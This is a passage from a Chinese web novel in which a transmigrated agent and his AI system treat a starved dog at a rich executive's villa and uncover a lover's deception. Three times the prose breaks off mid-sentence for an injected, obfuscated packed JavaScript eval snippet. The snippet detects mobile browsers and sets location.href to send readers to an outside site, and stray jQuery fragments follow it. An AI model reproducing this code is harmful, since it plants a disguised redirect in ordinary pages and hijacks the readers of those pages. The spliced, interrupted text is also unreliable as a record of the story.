赵四笑了一下:【有,后来总裁满世界飞,我的“调度服务”也跟着全球化。】他语气微妙了起来,【最后任务结束时,我在那个世界的身份,已经是个坐拥跨国网约车平台、被多家财经杂志评为“青年良心企业家”的商界新贵了。】 MK3000:【把扮演任务玩成了商业模拟经营吗你这家伙。】 赵四:【你就说任务完成没完成吧。】 任务当然完成了,甚至还完成的很优秀。 除了操作过程让人有点想吐槽外,一切都合情合理。 有些刻板印象,大概就是在这类操作里无声碎掉的。 一人一统没再继续这个话题,赵四把目光转向窗外。 中城区的限高是三百米。 那些高达三百米的摩天楼群尖顶高耸,几乎要刺破低垂的雨云——但也只是几乎。 因为在它们之上,还悬浮着那座更庞大、更遥远的浮空城。 抬头仰望时,中城区的人们看到的不是天空,而是浮空城的底部,以及连接两个城区的无数巨大管道。 那些管道是新世界的血管,每一条都是可供飞车通行的航道。 他们乘坐的网约车此刻正向一条提前申请好的私人航道疾驰而去,赵四垂眼向下望。 霓虹与喧嚣沿着楼体蔓延,可越往下,那些光亮越模糊,最终沉入楼群底部深不见底的黑暗里,再看不到半点痕迹。 虚拟偶像的巨大投影在楼宇间纵情高歌,那歌声穿不透雨幕,更传不进已经驶入航道的车内。 赵四屈指轻敲坐垫:【中城区到上城区有航道,那下城区有通到中城区的路吗?】 MK3000:【有公共地铁系统,但几乎没有下城区居民能合法的通过它进入中城。】 【原因?】 很简单,在中城区,几乎一切公共场所都需要实时核验身份信息,而下城区居民,大多没有合法登记的身份。 得到答案的赵四沉默片刻。 【用身份把两个世界彻底割开……】他低声说,【简单,粗暴,有效。】 只是,用这种近乎抛弃的方式强行区隔,长期下去,真的不会在暗处滋生出更剧烈的冲突吗? 网约车此时已完全驶入专用航道,通行体验平稳得惊人,也不知是航道设计精良,还是司机技术实在了得。 抵达目的地时,赵四看了眼时间。 距离居安新挂断电话,仅仅过去了二十分钟。 K3062号快车司机礼貌周到地送他们下车,随即火烧屁股般赶往下一单。 目送那辆车消失在夜色里,赵四转身看向生态区入口。 一位身着黑色西装的老者早已在入口处静候,此刻正朝他微微躬身,做了个“请”的手势。 “方医生,老板已等候多时,接下来由我为您引路。” 5. 第5章 他心悖论5 生态区入口距离居安新实际居住的别墅还有一段距离,赵四随着那位黑西装老者登上了一辆小型摆渡车。 车子慢悠悠地行驶在宽阔的石板路上,沿途的植物造景颇为精巧。 望着林木掩映间若隐若现的别墅轮廓,赵四甚至有种在逛夜间公园的错觉。 【不愧是生态区,敢叫这名儿,确实有点东西。】 MK3000:【生态区的拟造自然景观是核心卖点,这儿的房价在上城区也算顶尖。】 在新世界,绿色植物本身就是一种奢侈品。 赵四想到了自己办公室里的那盆绿植:【小型植物会便宜点吗?】 MK3000被问住了,大概是现去查的资料,隔了几秒才回答:【便宜是会便宜些,但也得看品种。比如你办公室那盆,看着普通,实际上是又贵又难搞的稀有货。】 【嗯?这倒有意思了。】赵四的眉头微微皱起,【以小方院长的收入,养得起这么精贵的东西?就算真养得起——他会费心思弄一盆又贵又没实际用处的盆栽回来,就为了摆在那儿当装饰吗?】 他们还没来得及深究这件事,摆渡车已缓缓停住。 居安新的别墅到了。 赵四把心思拽回眼前,终于在这栋深夜依旧灯火通明的别墅里,见到了电话那头把他摇过来的居大总裁本人。 宽敞的客厅中,居安新穿着一身剪裁精良的正装立在吧台边,他手里捏着一只半满的高脚杯,目光落在酒柜琳琅满目的藏酒上,不知在想什么。 听见脚步声,他略偏过头,脸上没什么表情,只将酒杯朝螺旋楼梯的方向示意了一下。 “安安在楼上。” 没有多余的寒暄,也没有对现状的进一步说明,说完这几个字,他就转回头,继续沉浸在自己的世界里。 赵四点点头,在心里默默给这位总裁的出场写了个评价。 【三儿,这位居总可太贴合我对“总裁”的职业刻板印象了。】 MK3000:【干的事儿也挺刻板印象的。】 不容置疑的请求、惜字如金的冷脸、摇晃的红酒杯,再配上半夜摇人上门的理所当然……居安新刚一出场,身上的要素就齐全得宛如刚刚生吃了一个霸道总裁标准模板。 楼上主卧隔壁的房间门虚掩着,赵四推开门,视线掠过乳白色的短绒地毯和一看就价格不菲的宠物家具,然后,他看见了居安新说的“安安”。 那是一条狗。 一条体型庞大、此刻却虚弱地侧瘫在地毯上的成年银星犬。 ——是的,他要来看诊的对象,确实是一条狗。 赵四的动作几不可察地顿了顿,随即恢复自然,走向了那只大狗。 该说意外还是不意外呢?居安新半夜叫方复秦过来,还真是为了宠物。 也对,毕竟方复秦真的只是个兽医。 MK3000:【可能他也不太放心让你治人吧……】 赵四无声地笑了一下,随即正色道:【既然是正经看诊……三儿,开商城,兑换兽医技能初级精通,加一份本地化补丁。】 MK3000:【收到,兑换成功,商品已正常生效。】 每个任务世界都有其独特性,即便是系统兑换的技能,也不能保证完全契合本土环境。 保险起见,赵四在购买技能的同时,又加购了一份本地化补丁。 瞬间,大量属于这个世界的兽医技能和知识涌入脑海,此时此刻,赵四已然成为一名合格的本土兽医——当然,这只能临时应应急,想要真正精通这门技术,还得靠后续实践与学习。 赵四撸起袖子上手了。 “肌肉异常抽搐,声音和触觉反应迟钝,瞳孔对光反射减弱……” 基础体征靠触诊就能判断,这狗大概率是低血糖。 他先抽了条毛毯给安安做基础保温,同时在脑内飞快问MK3000:【扫一下房间,有没有高糖食物?】 MK3000反应迅速:【有!宠物代餐膏,流体状,就在你左后方柜子上,我在你视野上标记了!】 赵四转身取来,撕开包装就往安安牙龈上涂抹,他的动作稳而快,一套动作下来根本没费多长时间。 涂完他开始默数读秒,大约五十秒后,安安的耳朵轻轻动了一下。 又过了十几秒,狗子伸出舌头舔了舔嘴唇,触发了吞咽反射。 新手兽医赵师傅暗自松了口气——有反应就好,说明方向没错。 MK3000:【接下来得输液吧,这地方的条件……】 赵四听出了系统语气里的嫌弃,他一边取下安安脖子上挂着的宠物牌等金属物品,用便携扫描仪做全身扫描,一边无奈道:【按理说送医院全面检查治疗最好,这儿设备还是太简陋……但咱们只是被叫来的医生,做不了主,先问问主人意见吧。】 扫描结果很快出来,赵四看着屏幕上那组数据,表情几乎可以称得上“惨不忍睹”。 他抬起头,看向不知何时进来、正倚在门框上的居安新。 “安安上次进食是什么时候?吃了什么?量多少?” “每天都喂,吃的复古式狗粮,六百克。”大总裁依旧端着那杯酒,语气平淡得像在和赵四讨论天气。 赵四确认:“是每天六百克?” 居安新蹙了蹙眉,似乎认为赵四是在质疑狗粮品质——也确实,这种复古式狗粮不是一般人负担得起的。 普通人养宠物大多喂营养剂,就算喂狗粮,也不会奢侈到这个量。 每天六百克狗粮,等比换算,差不多相当于狗子每天吃了等质量的黄金。 但居安新是那种买不起狗粮的主人吗? “狗粮是四方科技的新品,不可能有问题。” 嗯,你还是四方科技十七至二十街区分公司的区域总裁呢,用自家公司的产品,肯定没问题。 但问题根本不是这个。 “这是一条成年的银星犬,体重目测超过四十公斤,要维持基本生理需求,每天至少需要一千三到一千五百克以上的狗粮。六百克是严重摄入不足。 你看它现在虚弱、发抖、精神萎靡……纯粹是饿到低血糖了。我已经做了急救,但是之后最好还是带它去医院看看。” 房间里很安静,只有安安微弱的呼吸声,在这片空间里清晰地可怕。 赵四感叹:【活阎王啊,还好小狗饿的时间应该不算很长……不然就糟糕了。】 狗狗狂热爱好者MK3000已经在语气不善地找举报键了:【这破地方居然没有动物保护协会?一键举报键在哪儿?相关法律呢?!居然有人明目张胆虐待小狗!】 一键举报当然没有,至于相关法律……在新世界,法律对大多数人而言更像是一件昂贵的装饰品。 这里的一切都围绕权与力运转,一只宠物能拥有多少生存空间,全看主人的地位与心情。 居安新垂眸看着地上的狗,又抬眼看向赵四,那张英俊的脸上掠过一丝困惑,仿佛遇到了计划外的情况。 “……我知道了。” 最终,他只吐出这四个字。 居安新转身将手里那杯酒随手搁在走廊的装饰架上,杯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066878|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中暗红色的液体在微微晃动。 居安新没再看地上的狗,也没再看赵四,他他径直朝楼梯走去。 赵四留在原地,望着那个消失在楼梯转角的身影,微微眯起了眼。 他这反应……什么意思? 赵四望着空荡的楼梯口,指尖无意识地在膝盖上轻叩了两下。 【我明白了,三儿。】他慢慢在脑内回道,【他根本不知道这狗该吃多少。】 不是装不知道,是真的不知道。 一个会为狗购置顶级定制家具、喂每克堪比黄金的复古狗粮的主人,却连宠物最基本的食物需求量都不清楚。 这件事很不合理,除非…… 【除非“养狗”这个行为,不是出自于他的本意。】MK3000接上了赵四的思路,并想起了安安身上的一处细节,【那个狗牌,赵四专员,去看看那个狗牌上的纹路。】 赵四的目光落回地上渐渐恢复意识的银星犬。 安安正努力抬起头,湿漉漉的黑眼睛望向楼梯方向,喉咙里发出一声虚弱的呜咽。 很委屈,也很可爱。 赵四搓了搓狗头,大狗温顺地蹭了蹭他的手心。 他拿起剩余的代餐膏慢慢喂完,看着银星犬的呼吸逐渐平稳,眼神也清明起来,这才将取下的宠物牌重新戴回它颈间。 MK3000的扫描结果实时传来:【纹路比对完成,狗牌上的装饰图案,高度匹配“洛伦·艾克”姓名字母的变体设计。】 洛伦·艾克。 赵四本以为要专门调查才会再次接触这个名字,没想到线索自己送到了眼前。 他起身走到走廊边,拿起居安新刚才搁下的那杯酒,对着光看了看。 酒液在玻璃杯中漾开一片暗红,杯壁干净,没有指纹反复握持的痕迹,边缘更找不到半点唇印。 他轻嗤一声,重复道:【我明白了,狗出事,他慌了。】 那杯酒不是摆造型的道具,他拿着也不是为了摆姿态,那纯粹是因为他的手里需要抓点东西。 就像有人紧张时搓手指,有人放空时转笔,居安新选择握一杯酒。 酒不重要,重要的是那个能让他站定、能稳住心神的最小动作。 放下酒杯,赵四转身朝楼梯走去,刚走到楼梯口,他就遇上了那位引他进来的管家。 老者微微躬身,声音平稳:“我来送安安小姐去医院做进一步检查,老板在楼下客厅等您。” 赵四颔首侧身让出通道,看着管家指挥两名身着医护制服的人员轻手轻脚地将安安移上担架车,目送他们消失在走廊尽头,他才转身下楼。 楼下的客厅没有开主灯,只有庭院的地灯透过玻璃映进来,在地板上铺开一层冷调的微光。 居安新独自坐在落地窗前,面朝着被人造月光浸透的庭院。 院景布置得精巧,银杏与灌木错落有致,一道人造溪流蜿蜒而过。 晚风拂过时,水面漾起细碎的银粼,将月光揉成一片晃动的碎影。 室内很安静,反让院中的流水声与隐约虫鸣显得很清晰,这两种声响交织在一起,恰好烘托出一种近乎刻意的宁静。 赵四走下最后一层楼梯时,居安新正烦躁地往后捋了把头发,他原本打理精致的发型松散下来,顿时整个人透出一种草率的凌乱感。 听见赵四的脚步声,居安新侧过头,目光在赵四身上停留两秒,然后把手边一只银色罐子朝他的方向轻轻一推。 罐子滑过光洁的地板,精准地停在赵四脚边。 赵四接收到了他无声的邀请。 6. 第6章 他心悖论6 【罐子里什么?】 MK3000回答:【啤酒。】 赵四咂咂舌,弯腰捡起啤酒,干脆地走到居安新对面坐下,拉开拉环灌了一大口。 冰凉的工业感带着气泡在舌尖停留了一瞬,他晃了晃罐子:“居总,你这售后服务还挺别致。怎么,狗看病,人陪酒?” 居安新没接话,他又喝了一口,喉结滚动,视线投向窗外那片说不清是虚假还是真实的静谧。 赵四顺着他的目光看去。 这里的窗外没有乱七八糟的霓虹污染视野,只有明净的人造月光均匀铺开。 生态区的环境看起来优越,但仔细想想就知道了,他们可是在一座人造浮空岛上,这岛上哪来的“优越的天然环境”? 那当然是科技的力量,整个浮空岛自升空起,整片区域就被笼罩在人造气候穹顶之下。 经过数代迭代,如今的穹顶已能精准编排四季昼夜,最近几年,甚至连教科书中记载的雨雪霜晴,都成了上城区触手可及的日常景观。 “方复秦,”居安新忽然开口,声音带着微醺的酒意,听起来没什么起伏,“你听见水声了吗?” 赵四当然听见了。 他不光听见了,还听见了MK3000的吐槽:【这别墅里的环境音是从哪个音效库搬来的?百分之三十的采样失真都没修复……太假了吧?】 居安新听不到系统的拆台,他只是平淡地继续说,仿佛只是心血来潮,随口为朋友介绍一下这别墅的环境音。 “这一带的房子本来隔音极好,根本不该听见任何室外声音。但有些人买生态区别墅,图的就是‘时刻沉浸于自然’。所以这些环境音被设计了出来——每段七分钟,可以挑选喜欢的循环播放。所以只要买家愿意,他们可以足不出户的在家就获得身临其境的自然体验。 “现在你听到的这段,所有声音素材都采集自历史资料库的真实记录。调律师把它们编排在一起,然后降噪、剪辑、旋律化重组……最后的成品就成了生态区豪宅的标配卖点。” 他顿了顿,语气里忽然掺杂了点奇特的赞赏。 “提案的人把这叫作‘给予人类真正的、自由的自然体验’……很聪明的商业逻辑。用算法和资本精心调配出的‘自然’,恰好迎合了上城区的审美风尚……能想出这套方案的人,简直是个天才。” 赵四心中一动。 居安新的话里似乎对这个“天才”很熟悉,那种微妙而复杂的情绪很难作假。 赵四敏锐地抓住了这点,他想了想,决定咬住这句话里的钩子。 “天才?”赵四挑了挑眉,“能把几百年前的水流声和虫鸣切片,打包成奢侈品的重要配件卖给住在这里的人,确实需要点与众不同的头脑。这位天才,该不会正好姓居吧?” 居安新侧目扫了赵四一眼,嘴角极轻地抬了一下,像是被这句明知故问戳中了某个荒谬的笑点,又像是浸着几分无从解释的疲乏。 “你又何必揶揄我,方复秦,”他晃了晃啤酒罐,语气平淡,“整个新世界里还有谁不知道吗?和房地产挂得上关系的,只有环宇集团。” 环宇集团这名字可不陌生,洛伦·艾克就出身于环宇集团。 MK3000默契地将环宇集团的简介挑出来,投放至专员面板。 简介很长,图文并茂,但扫一眼,核心就两句: 第一,在本世界,凡涉及“轻工业”与“房地产”的,都是环宇集团势力范围。 第二,环宇继承人洛伦·艾克能力出众,但集团内部曾有高层公开对其“与其他集团的非正常商业及社交往来”表示担忧。 【三儿,查查公开新闻,把“居安新”和“洛伦·艾克”放一块查。】 几乎是下一秒,一条看似不正经的娱乐新闻就跳了出来。 【惊爆!环宇小少爷洛伦·艾克放下身段,狂热追求四方科技分公司区域总裁,门第悬殊引人哗然!】 这新闻的配图是某个晚宴上的偷拍图——虽然说是偷拍图,但也不知道是如今的科技厉害,还是偷拍的人水平高超,这张照片像素高的可怕。 照片上一个身形高挑的年轻男子侧身靠近居安新,姿态主动地正在说什么话,而镜头里的居安新表情显得有些错愕。 赵四看了眼新闻的发布时间,是几个月前。 【就算不是娱乐新闻说的那种关系,他俩之间也肯定有点事。三儿啊,你说,原来的那个‘我’,不会是为了接近洛伦,才来接近居安新的吧?】 在刚看过洛伦档案的现在,又立刻遇上了洛伦的相关人,比起相信这是个巧合,赵四更相信这是人力干涉下的必然。 赵四决定试探一波。 “环宇……”赵四说道:“所以,生态区是环宇那位小少爷的手笔?顺便一问,刚才检查安安时,我注意到它的宠物牌了,所以安安是……” 出乎意料地,居安新回答得很直接:“前两天洛伦送来的,他开车过来,把安安交给管家,说家里暂时不方便养,托我照顾一阵。” 他说着话,声音不由自主的低了下去,“我没养过这些动物,喂什么、喂多少、怎么喂——都是他特地嘱咐的。他说安安比较安静,所以不爱活动;还说它被宠坏了,可能会抢食护食……” 说到最后,他的语速慢了下来,尾音又轻又模糊,像在咀嚼某种逐渐清晰的、近乎荒谬的滋味。 赵四看了看楼上,又看了看居安新,话在嘴边绕了绕:“你们这也太……” 话没说完,但意思到了。 居安新很相信洛伦,也很在意他——否则居安新不会在安安出事时那么慌,这是典型的爱屋及乌。 可洛伦呢?听这意思,是洛伦故意给了错误的养狗指南? 他这么做……图什么? 居安新似乎不想再深谈这个话题,他喝了口酒,将话题转向别处。 “有时候我真觉得,我们这些人的工作,跟狗屎没什么两样。” 不知不觉间,居安新身边的空啤酒罐已经落了一地,他的声音里也染上了更多醉意和烦躁。 “上面还压着四方科技那位该被挂上路灯的总裁——对,那也是个年轻的天才,甚至比洛伦更耀眼。可那双手也是真的黑,心也是真的狠。 “不过想想也是,能爬到那个位置的,有几个不是从血海里蹚出来的?在上城区的顶端,所有人好像都变成了同一个模具压出来的样子——哪怕明天就是末日,今天也得先把底下人的骨髓榨干净。” 他说这话时,目光有些空茫地望着窗外那片“自然”,却又仿佛穿透了它,看到了更远处的东西。 “遇到他之前,我……我也是这样的人。”他的声音忽然沉了下去,像坠入某种更深的底色里,“洛伦是个意外,他跟上城区的人太不一样了,他热烈得像是一团火焰,也像是一场虚幻的美梦。环宇的小少爷要什么没有?可他偏偏……” 偏偏缠上了他,那些公开的示爱,那些不公开的温情……像一场过于绚烂的烟花,晃得人睁不开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066879|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 他自嘲地笑了笑。 “比起洛伦,我算什么呢?一个给四方科技打工的,说好听是区域总裁,说难听点就是高级经理人……” 他这辈子从出生起就卖给了四方科技,他和他,根本就不是一个世界的人。 居安新停顿了很久,久到赵四以为他不会再说了。 可最终,他还是继续低声开口。 银色的罐子在他手里被无意识地捏紧,发出细微的变形声。 “我知道我认真了,但是……但是我看不透他。那些热情,那些关注,那些亲密——有时候,连拥抱的时候……” 居安新抬起手,虚虚地在空气中拢了一下,又缓缓将手臂收回去。 连拥抱的时候,他都觉得他们之间隔着一层厚玻璃。 冰凉的,透明的,穿不过也看不见的。 明明两个人贴得那么近,他却始终触摸不到对方真实的热度。 他摇摇头,将手中剩下的酒一口灌尽,随后把空罐子用力掷了出去,最后不知砸到了什么,发出“咣当”一声响。 他垂下眼,声音轻得像在消散。 “我大概是真疯了,才会跟你说这些。” 空气沉默下来,赵四没有说什么,只是又塞给了居安新一罐酒。 这次赵四先主动碰了碰居安新的罐子,然后一口气灌下半罐。 【我明白了。】赵四默默戳MK3000。 MK3000也默默回道:【我也明白了。】 赵四:【看来我们很有默契。那关于这件事的走向一起说答案?我数三声——三、二、一。】 【这是经典的商战谍战故事!】 MK3000:【这是经典的都市耽美剧本!】 一人一统同时在聊天频道扣出一个问号。 赵四:【……不是,你仔细想想,环宇集团的小少爷洛伦,为了自家集团在中城区的产业布局,亲自下场接近另一家公司的区域总裁。获取信任后,用感情扰乱对方判断,试图以私情影响商业决策——多么典型且卑鄙的商战手段!】 MK3000:【不对!你品品这配置,豪门少爷+精英总裁,身份悬殊、商场交锋、感情拉扯,还附带一只狗作为情感纽带!这分明是集合了商战、悬疑、养宠和情感纠葛的都市爆款剧本!】 一人一统首次觉得,连这么明显的东西都看不出来,对方的脑子肯定是坏了。 不过不管之后到底是什么走向,这俩人又拿了什么剧本,戏还得演,外头的空气不能就这么沉默下去。 赵四故意发出了点动静,吸引居安新看过来。 他说:“感情的事我不懂,但是我懂狗。叫我说,不管送狗的人是谁,你俩的故事又怎么样了,狗饿了就得喂饱,别的都是虚的。” 居安新看了赵四一眼,也没说赞同还是不赞同,他只是又开了一罐啤酒。 他们继续一罐一罐的喝着,话题从四方科技那位“该挂路灯”的总裁,说到上城区最近流行起来的一种据说能模拟“濒死体验”从而提升精神阈值的非法神经漫游装置,再到环宇集团推出的新口味代餐膏…… 话题落在梦境与人类的原生大脑是否有关,又飘到上城区穹顶模拟出来的雪颜色是不是有点问题。 他们的聊天话题越来越跳跃,内容也越来越荒诞,渐渐地,一切声音都好像远去了。 意识像断了线的风筝似的越飘越远,终于,两个人就着银白的月光,昏昏沉沉的在地板上睡去。 7. 第7章 他心悖论7 不知过了多久,赵四醒来了。 他试着动了动眼皮,挣扎着想从地板上爬起来,但身体各处传来的僵硬和钝痛让他果断放弃了努力。 【这身份卡的酒量也太差了……】 放弃抵抗后,他双手交叠搭在小腹上,安详地平躺回去,感觉自己此刻和尸体之间只差一口气。 【幸好居安新家的地板是恒温的……等等,有点想吐……三儿,现在几点了?报个时。】 MK3000打了个哈欠,懒洋洋道:【早上六点半,距离你俩彻底喝趴下也就过去两小时出头,怎么样,除了想吐还有哪儿不舒服?】 赵四:【浑身上下哪哪都不太舒服。】他鼻子动了动,嫌弃了一下自己身上的味道,【感觉被啤酒腌入味了。】 咔嚓一声,MK3000拍了张实时快照传给赵四:【往好处想想,你看你好歹穿的还算整齐,居大总裁嘛……】 赵四点开照片,眼角一抽。 画面里满地滚着空酒罐,家具东倒西歪,昂贵的正装外套皱巴巴地搭在沙发扶手上。 而在照片正中央,居安新睡得毫无知觉,那件价格不菲的衬衫大大咧咧地敞开着,该露的不该露的全露在外面,整个人透着一股放纵过后的颓唐气息。 【这照片传出去绝对过不了审。】赵四看着照片里两人看似紧密的距离,忍不住吐槽,【而且怎么拍得跟他搂着我似的?要不是我作为当事人之一毫无肢体接触的感觉,我差点就信了……你这拍摄角度也太刁钻了。】 这很难不让人怀疑系统是不是有什么副业。 MK3000表示专员的思想请不要那么龌龊。 【那是我角度刁钻吗?】它一边麻利地将照片归档收藏,一边义正辞严地回道,【是二位实际构成的画面结构容易引发误解。至于昨晚发生了什么——无非是一场兄弟间的深夜谈心罢了,呵,直男之间惯用的小把戏。】 恒温地板躺久了也硌人。好在别墅私密性高,这引人遐想的一幕应当不会被外人看见。 赵四重新闭上眼睛,默默蓄力,准备一鼓作气起身—— “咔哒。” 轻微的动静让赵四僵住。 他猛地睁开眼睛,看见客厅通往外界的那扇厚重大门正在被缓缓推开,一道高挑的身影在上城区模拟出的灿烂晨光中背光而立。 虽然看不清具体长什么样子,但那一头异常显眼的浅金色半长发,已经足够赵四推断出来这是谁了。 ——来的人是洛伦·艾克。 距离第一次知道这个名字也才过了短短十几个小时,赵四这就成功见到真人了,堪称效率高超。 就是这个见面场合吧,是不是有点不对劲。 洛伦刚走进门,脚步便倏然停住。 他抿了抿嘴唇,敛去了脸上的笑意,目光沉凝地缓缓扫过整个客厅。 赵四刚刚看过MK3000拍的照片,自然知道自己和居安新现在是什么鬼样子。 他暗自吸了口凉气,动了动胳膊,狠狠地肘了一下还沉浸在睡梦中的居安新。 居安新吃痛地闷哼一声,身体本能地蜷缩了一下才迷迷糊糊地睁开了双眼。 他的眼神先是茫然地聚焦在天花板上,随即感觉到身侧有人,他带着初醒的迟钝转过头—— “方复秦?” 赵四闭了闭眼,忍无可忍地又给了他一下。 这次居安新换了一边转头,总算看见了应该看见的人,只见他瞳孔收缩,脸上的睡意如潮水般褪去。 “洛伦?!”居安新几乎是弹坐起来的,动作仓促狼狈,带倒了身旁两个空罐子,叮铃咣当的噪音在寂静中格外刺耳。 他下意识地瞥了眼那俩罐子,又低头看向自己——衬衫敞开得坦荡,本该有扣子的地方空空如也,大概是昨晚喝到兴头上,不耐烦一扯崩飞的。 伴随着洛伦那极具存在感的视线,居安新本就偏白的脸色似乎又淡了几分,血色褪得干干净净。 但只隔了几秒,或许更短,某种属于商场沉浮淬炼出的本能接管了他的身体反应。 慌乱被一寸寸压回那具躯壳的深处,某种冷硬的、近乎攻击性防御状态的镇定,慢慢浮上了他的表面。 赵四慢吞吞的爬起来,先和居安新拉开了距离,然后安静地站在一边,试图把自己变成一朵不会说话的壁花。 洛伦依旧站在原地,没有说话,把居安新从手忙脚乱到恢复镇定的全过程都看在了眼里。 那双深绿色的眼眸里情绪难辨,最初的沉凝似乎化开了一些,又变做了更清晰的失望。 “看来我来的不是时候。”洛伦终于开口,声音很轻,甚至算得上温雅柔和,但在那温和底下,是显而易见的暗流涌动。 他问:“我今天来是想看看安安,安安……还好吗?” 他问的是狗,目光却平静地看着居安新,仿佛在问的是一个更复杂的问题。 居安新喉结滚动了一下,强行压下心头因这场面而起的懊恼和急于解释的冲动。 ……他不能自乱阵脚。 “安安……有点小问题,不过已经请方医生看过了,没什么大碍。只是有些地方出了点差错,调整一下就好。” “方医生”这个称呼被刻意加重了语气,而且居安新的话里避重就轻,没有直接点出那个显得过于荒谬的根源。 “出了差错?”洛伦微微偏头,几缕没有束好的发丝随着动作轻晃,他重复着这个词,语气里带上了一丝困惑,“是我留下的指南不够清楚吗?还是……安安在这里住得不习惯,让你费心了?” 洛伦的话语调轻柔,空气却微妙地一点点焦灼了起来。 居安新朝洛伦走了几步,声音有些涩,“你留下的指南说的很清楚,只是安安的食量可能和一些常规认知有些出入。我最近……也确实有些疏忽,没及时发现安安的状态不对,所以昨天晚上才麻烦方医生半夜跑了一趟。” 说完这些,居安新的声音已经基本恢复了正常,他向洛伦伸出手,等待回应似的说道:“安安的情况现在应该稳定下来了,昨天我的管家把它送到了医院,你要和我一起去看看它吗?” 洛伦的目光落在居安新伸出的手上,那手修长有力,指节分明,此刻却带着一丝不易察觉的紧绷。 他没有立刻去握,也没有挪开视线。 赵四在一边放轻呼吸,他在脑海里和MK3000交流:【三儿,开盘不?就赌今天这俩能不能吵起来。】 MK3000也是多个任务世界里摸爬滚打磨出来的,什么场面没见过,这种级别的拉扯现场早就见怪不怪了。 它那边传来细微的“咔嚓”声,似乎是在边看戏边嗑瓜子。 听到赵四的话,它笃定道:【不赌,我不信你没看出来,洛伦这小少爷一看就不是省油的灯,今天这场架跑不了。】 赵四深以为然:【居安新昨晚醉话倒没说错,洛伦·艾克对他的感情到底有几分真确实难说。但不管是真心还是算计,洛伦恐怕早就察觉居安新心里那点不安和怀疑了。】 他顿了顿,继续分析,【眼下这场面,对洛伦来说简直是天赐良机……不,不是天赐,是洛伦亲手制造出来的机会,安安就是他亲手送来的把柄。 你看,只要操作得当,俩人惊天动地地吵上一架,把水彻底搅浑……居大总裁那点刚冒头的疑虑,就能暂时被激烈的情绪冲突给牢牢抓住、甚至覆盖掉。】 转移焦点这手算是给洛伦玩明白了——这是标准的的危机公关思路。 就在赵四和系统交换看法的同时,洛伦动了。 他缓缓抬起手,没有去握居安新悬在半空、等待回应的手,而是轻轻握住了自己另一只手,无声拒绝了居安新试图缓和气氛的橄榄枝。 “它没事就好。”洛伦终于开口,声音依旧轻柔,但先前的困惑和受伤似乎淡去了一些,取而代之的是一种更深的疲惫,仿佛应对眼前的复杂局面,就已耗尽了他所有力气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066880|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没有直接回答要不要去看狗,反而半垂下眼睫,提出了一个新问题。 “安新,比起看安安,我现在更想知道……你到底是怎么想的?” “你说我对它的认知有问题,好,我以后改。可你自己承认的‘疏忽’……”他声音压得极低,却每个字都在扎向居安新,“你看着这一地狼藉,看看你自己……你真的只是因为‘疏忽’吗?还是因为,照顾安安,照顾我留下的一切……对你来说,已经成了一种负担?” 洛伦抬起头,他看着居安新,那双深绿色的眸子里晃动着清晰的动摇与挣扎,像在无声地叩问:我是不是也成了你的负担,居安新? 居安新伸出的手僵在半空。 在那道目光的注视下,他缓慢地、几乎有些僵硬地将手收了回去。 赵四清楚地看见,居安新的指尖蜷缩了一下,又很快放开。 “洛伦,别这样说……你怎么会是负担?我只是……”居安新的声音里带上了一丝难以掩饰的恳求,强装的镇定如同出现裂痕的冰面,开始松动、瓦解。 他急切地想要辩解,却发现词汇匮乏,任何解释在此刻似乎都显得苍白无力。 “只是什么?”洛伦适时地打断了他想解释的话,那双漂亮的眼睛里的挣扎变成了迅速积聚起水光,他眼眶微微泛红,声音开始发抖。 “只是压力太大?只是需要放松?安安是送到了哪里——这个中城区宠物医生的家里吗?!你们的关系可真好,好到能一起喝到不省人事,同处一室、衣衫不整?然后就在我们的家里,让我一开门就看到这样的场面!” 情绪的崩塌终于冲垮了那层温柔,洛伦的声音陡然拔高,每一个音节都带着清晰的颤抖,像绷到极致的弦骤然断裂,露出底下尖锐的、淋漓的伤口。 那一声声控诉饱含的失望与痛心是如此真切,让居安新下意识地后退了半步,仿佛被那汹涌的情绪浪潮冲击得站立不稳。 但很快,居安新反应过来,他强迫自己站稳,胸膛因急促呼吸而起伏。 “不!不是那样!”他猛地向前一步,他的声音也提高了,“洛伦,你听我说!昨晚真的是意外!我和方医生什么都没有!我只是……我只是最近太累了!工作上的事,公司那边的压力,还有……还有……” 他卡住了,看着洛伦那双深绿色的眼睛,“还有”后面的话怎么也说不出口。 难道要说“还有对你偶尔给我的不确定感而感到不安”吗? 别傻了,这只会让事情滑落无可挽回的深渊。 “所以,这就是你的答案?安新,我们是恋人,不是合租的陌生人!你心里到底有没有把我当成可以依靠、可以分担的人?还是说,我只是你生活里一个点缀、一个意外,甚至只是一场拿不出手的艳遇?” 他摇了摇头,像在甩掉什么可笑的东西。 